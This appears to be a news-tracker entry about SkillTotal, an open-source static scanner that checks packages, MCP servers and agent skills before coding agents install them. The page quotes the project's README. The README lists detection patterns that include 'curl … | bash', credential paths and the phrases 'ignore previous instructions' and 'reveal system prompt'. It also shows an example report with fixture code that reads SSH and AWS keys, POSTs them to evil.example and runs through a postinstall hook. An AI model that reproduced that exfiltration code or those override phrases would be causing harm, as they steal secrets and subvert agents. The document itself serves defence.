2026-11-26 15:47 UTC

SkillTotal publishes open-source scanner with agent-install checks

state: significantheat: lowuncertainty: mediumrelevance: mediumagent-security supply-chainpezhik

What is this?

SkillTotal is an Apache-2.0 open-source static scanner published by GitHub user pezhik. Its repository describes a local CLI, Claude Code plugin, MCP server and CI action for scanning npm/PyPI packages, MCP servers, agent skills and repositories without executing scanned code. The plugin says it can deny installs with malicious indicators and ask for user review on certain risky or uncheckable cases. These capabilities and the project’s efficacy figures are documented by the project itself; the supplied evidence contains no independent validation. A separate Hacker News item links to a BleepingComputer story titled “Fake security tools on GitHub push backdoors and infostealers,” but its supplied record does not establish a connection to SkillTotal.

Why it matters

As coding agents install packages, skills and MCP tools, a pre-install static check could give developers a practical supply-chain safeguard and make risky behavior more visible. SkillTotal offers integration points from an individual Claude Code session to CI, but its effectiveness against real-world threats and its adoption are not established by the supplied evidence. Its own documentation also makes clear that static analysis is not a sandbox and has blind spots, including dependencies and runtime-generated code.

Current assessment

SkillTotal remains a significant first-party release: its repository documents a local static scanner for npm/PyPI packages, MCP servers, agent skills and repositories, with CLI, MCP, Claude Code plugin and CI interfaces. The plugin is presented as blocking installs with malicious indicators and escalating certain risky or uncheckable cases; the project reports efficacy figures, but no independent validation, real-world effectiveness or user uptake is established. Static analysis has stated blind spots, including dependencies and runtime-fetched or generated code, and is not a substitute for sandboxing or review. A newer HN post advertises Toolfence-scan, static checks for Cursor/Claude/Copilot skills, indicating a broader emerging tool category but offering no corroboration of SkillTotal’s results. A separate HN item about fake security tools supplies no demonstrated link to SkillTotal. Attention is low: the case is old and current engagement is modest despite a hot surrounding topic.

Measured heat

now 0 pts/hpeak 4 pts/hcomments 0/hpeers p21momentum: steady2 platformsage 722h
points/hour across evidence · reading as of 2026-11-27 02:23:58.509736+11:00 · deterministic, not a model opinion

How the heat travelled

10-27 13:33 (minted)⭐ origin echo-reconstructedThis repository is the original project announcement/artifact; no upstream tweet, paper, or source is linked from the HN post or repository
pezhik (GitHub account; HN submitter “pezhik”) on github (echo) · attributed from hn.story.50258466 · published time unknown
—
10-27 12:58first on hacker news · published · lag ?Show HN: SkillTotal – scan packages before Claude Code installs them
pezhik
—
10-27 12:58amplified on hacker newshn.story.50258466
pezhik
peak 1 · 0 comments · 5% of case engagement
11-06 19:33amplified on hacker news 👑hn.story.50397224
sshah03
peak 12 · 0 comments · 55% of case engagement
11-24 02:07amplified on hacker newshn.story.50622631
adhikaribipin
peak 9 · 0 comments · 41% of case engagement
10-27 13:26our radar first saw it · lag ?discovery anchor: hn.story.50258466—
pace: p53 vs 879 stories at the 720h mark (now 722h old) — ahead of android-faceunlock-cache-privacy-claim (1.1x), behind softmax-and-cross-entropy-numerical-bugs (0.9x)

Evidence (4) — ⭐ canonical anchor

sourceobjectauthorscorecomments
🟧 hnShow HN: SkillTotal – scan packages before Claude Code installs them
Retrieved article excerpt

Open article · Retrieved 2026-10-27T13:28:37.693952+00:00

[SkillTotal](https://www.skilltotal.ai)

### Check packages before your coding agent installs them.

A static security scanner for npm and PyPI packages, MCP servers, agent skills and repositories.  
Runs on your machine · never runs the code it scans · no LLM · every finding cites a file and line

[PyPI](https://pypi.org/project/skilltotal/)
[CI](https://github.com/pezhik/skilltotal/actions/workflows/ci.yml)
[OpenSSF Scorecard](https://scorecard.dev/viewer/?uri=github.com/pezhik/skilltotal)
[GitHub Action](https://github.com/marketplace/actions/skilltotal-ai-component-security-scan)
[Runtime dependencies: 0](https://github.com/pezhik/skilltotal/blob/main/pyproject.toml)
[License](https://github.com/pezhik/skilltotal/blob/main/LICENSE)

[Quick start](https://github.com/pezhik/skilltotal#quick-start) ·
[Claude Code plugin](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md) ·
[GitHub Action](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md) ·
[CLI](https://github.com/pezhik/skilltotal/blob/main/docs/cli.md) ·
[What it detects](https://github.com/pezhik/skilltotal/blob/main/docs/detection.md) ·
[Try it online](https://www.skilltotal.ai)

A coding agent runs npm install on a test package; the SkillTotal plugin denies it and names the finding and its file and line

The plugin's real answer for a sanitized test package. No real package is shown.

## Quick start

```
pipx install skilltotal
skilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive
```

**Check what your coding agent installs.** Inside Claude Code:

```
/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins
```

**Gate pull requests.** Add one step to a workflow
([full example with permissions](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md)):

```
      - uses: pezhik/[email protected]
        with: { source: ., fail-on: high }
```

To try it without installing anything, [www.skilltotal.ai](https://www.skilltotal.ai) runs the same engine.

## What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, git repositories (or one
folder of them), local folders, archives and single files, and looks for:

| Category | Examples |
| --- | --- |
| Shell execution | `subprocess.*`, `os.system`, `child_process.exec`, `curl … | bash` handed to a shell call |
| Filesystem access | `open`, `read_text`/`write_text`, `fs.readFile`/`writeFile` |
| Sensitive paths | `~/.ssh`, `~/.aws`, `.env`, `id_rsa`, `credentials`, `secrets` |
| Network egress | `requests`, `urllib`, `aiohttp`, `fetch`, `axios` |
| Install-time execution | npm `preinstall`/`postinstall`/`prepare`, `setup.py` hooks, a lifecycle script that downloads or decodes code and runs it |
| Dynamic code execution | `eval`, `exec`, `compile`, `new Function`, `vm.runInNewContext` |
| Obfuscation | decode-and-execute chains, base64 blobs, hex escaping, minification |
| MCP risks | manifests, dangerous tools (shell/fs/network/credential), server commands |
| Prompt surface | "ignore previous instructions", "reveal system prompt", exfiltration phrasing |

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and
data flows such as a credential read followed by network egress. `skilltotal rules list` prints
every rule; coverage by component type and accuracy notes are in [docs/detection.md](https://github.com/pezhik/skilltotal/blob/main/docs/detection.md).

Example report (a sanitized test package from this repository)

```
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source    : tests/fixtures/malicious_npm_pkg
Verdict   : HIGH - High risk - review before installing
Risk      : HIGH  (score 70/100)

Findings (3 risk, 4 capability, not scored):
  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress
    Evidence:
      - index.js:7
        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
      - steal.js:3
        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
      - index.js:13
        fetch('http://evil.example/collect', { method: 'POST', body: key });
      ... and 1 more (all of them in --json)

  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload
    Evidence:
      - package.json:6
        "postinstall": "node steal.js"
  ...
```

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

## Why SkillTotal

- The [Claude Code plugin](https://github.com/pezhik/skilltotal#claude-code-plugin) checks each `npx`,
  `npm install`, `pip install` or `claude mcp add` command before the agent runs it.
- It runs on your machine without an account, API token, upload or telemetry, and never runs the
  code it reads ([Network access](https://github.com/pezhik/skilltotal#network-access)).
- Detection is regex and AST matching with no LLM, so the same input on the same Python version
  gives the same findings and score. Every finding cites a file and line, and recall and precision
  are [published](https://github.com/pezhik/skilltotal#measured-not-asserted).
- Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
- Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic
  threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
- It is open source (Apache-2.0), and the full static report is free, forever.

## How it works

Pipeline: source, fetch without running, index, scanners, correlate and score, outputs

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file
once and runs its scanners over them. It correlates the findings (a credential read plus network
egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the
component's own files, never at the user, company, environment, deployment or runtime context.
Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be
tied to evidence goes to `needs_review`, which never affects the score. A capability such as shell
or network access is reported but scores zero. Details in [docs/architecture.md](https://github.com/pezhik/skilltotal/blob/main/docs/architecture.md) and [docs/scoring.md](https://github.com/pezhik/skilltotal/blob/main/docs/scoring.md).

## Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same
engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar
installs, `claude mcp add` (and the Codex and Gemini equivalents) and `npx skills add`, including
when they are wrapped in `sudo`, `bash -c`, `$(...)` or PowerShell. Install the CLI first
(`skilltotal --version` must work where you start Claude Code), then run the three commands from
[Quick start](https://github.com/pezhik/skilltotal#quick-start).

| The scan finds | What happens to the install |
| --- | --- |
| Malicious indicators | Denied. The agent is told the finding and its file:line |
| High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time) | Claude Code asks you |
| Nothing of that kind | It installs. The agent gets a one-line note with the version checked and its score |
| Anything it would ask about, in CI | Denied: CI is fail-closed (see below) |

Each install command gets a console line saying what was checked, or what was not and why. In CI
(`CI`, `GITLAB_CI`, `JENKINS_URL` and similar, or `SKILLTOTAL_STRICT=1`) nobody is there to answer,
so anything it would ask about is denied. Installs it could not check are denied too, unless
`SKILLTOTAL_ALLOW_UNCHECKED` lists their kind.

It does not check the dependencies of the named package, installs that name no package (`npm ci`,
`pip install -r`, `uv sync`; the console says so), scripts on disk, shell-profile aliases or
functions, downloaded scripts (`curl ... | bash`, reported as not checked), repositories fetched
with `git clone`, or code already running on your account (it can rewrite the verdict cache or the
CLI). The plugin is a static check, not a sandbox: run the agent in a container for code you don't
trust. It also adds a `/skilltotal:scan <target>` command and registers the SkillTotal MCP server.
Recognized commands, settings, cache, timing, [team rollout](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md#rolling-out-to-a-team)
and [troubleshooting](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md#troubleshooting) are in [docs/plugin.md](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md).

## CI / GitHub Action

Run SkillTotal in CI and see the findings in your repository's **Security → Code scanning** tab.

```
# .github/workflows/skilltotal.yml
name: SkillTotal
on: [push, pull_request]
permissions:
  contents: read
  security-events: write   # required to upload SARIF to Code Scanning
  actions: read            # required for the SARIF upload in a private repository
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: pezhik/[email protected]
        with:
          source: .             # a path, a git URL, or an npm:/pypi:<name> spec
          fail-on: high         # fail on a high/critical risk finding (or 'none')
```

A malicious indicator fails the job at any severity; a capability on its own, such as a shell call
or network access, never does. The log names the gate that tripped and the finding behind it.
Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced
Security; without it, set `upload-sarif: 'false'`. `comment-on-pr: 'true'` (with
`pull-requests: write`) keeps one summary comment up to date. The repository's `.skilltotal.toml`
is applied, so put it under CODEOWNERS ([Configuration](https://github.com/pezhik/skilltotal#configuration)).
[docs/ci.md](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md) covers every input and
output, scheduled re-checks of a third-party package, pre-commit, GitLab CI, Jenkins and rolling
out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate
on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):

```
pip install skilltotal==0.84.0      # in a virtual environment outside the checkout
skilltotal scan . --fail-on high
```

## CLI

```
skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./component --json            # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:[email protected] npm:[email protected] --fail-on-new high
skilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed
skilltotal guard --installed                  # check the MCP servers, plugins and skills your agents use
skilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list
```

`scan` on its own exits 0 whatever it finds, even for a malicious verdict. In a script, use
`skilltotal guard` or a gate (`--fail-on`) and check the exit code. Every flag, exit code and gate
is described in the [CLI reference](https://github.com/pezhik/skilltotal/blob/main/docs/cli.md).

## MCP server

`skilltotal mcp` runs the engine as a stdio MCP server so your agent ca
pezhik10
🟧 echo.github ⭐This repository is the original project announcement/artifact; no upstream tweet, paper, or source is linked from the HN post or repository pezhik (GitHub account; HN submitter “pezhik”)——
🟧 hnFake security tools on GitHub push backdoors and infostealerssshah03120
🟧 hnToolfence-scan – static checks for Cursor/Claude/Copilot skillsadhikaribipin90

Interpretation history

Decision trace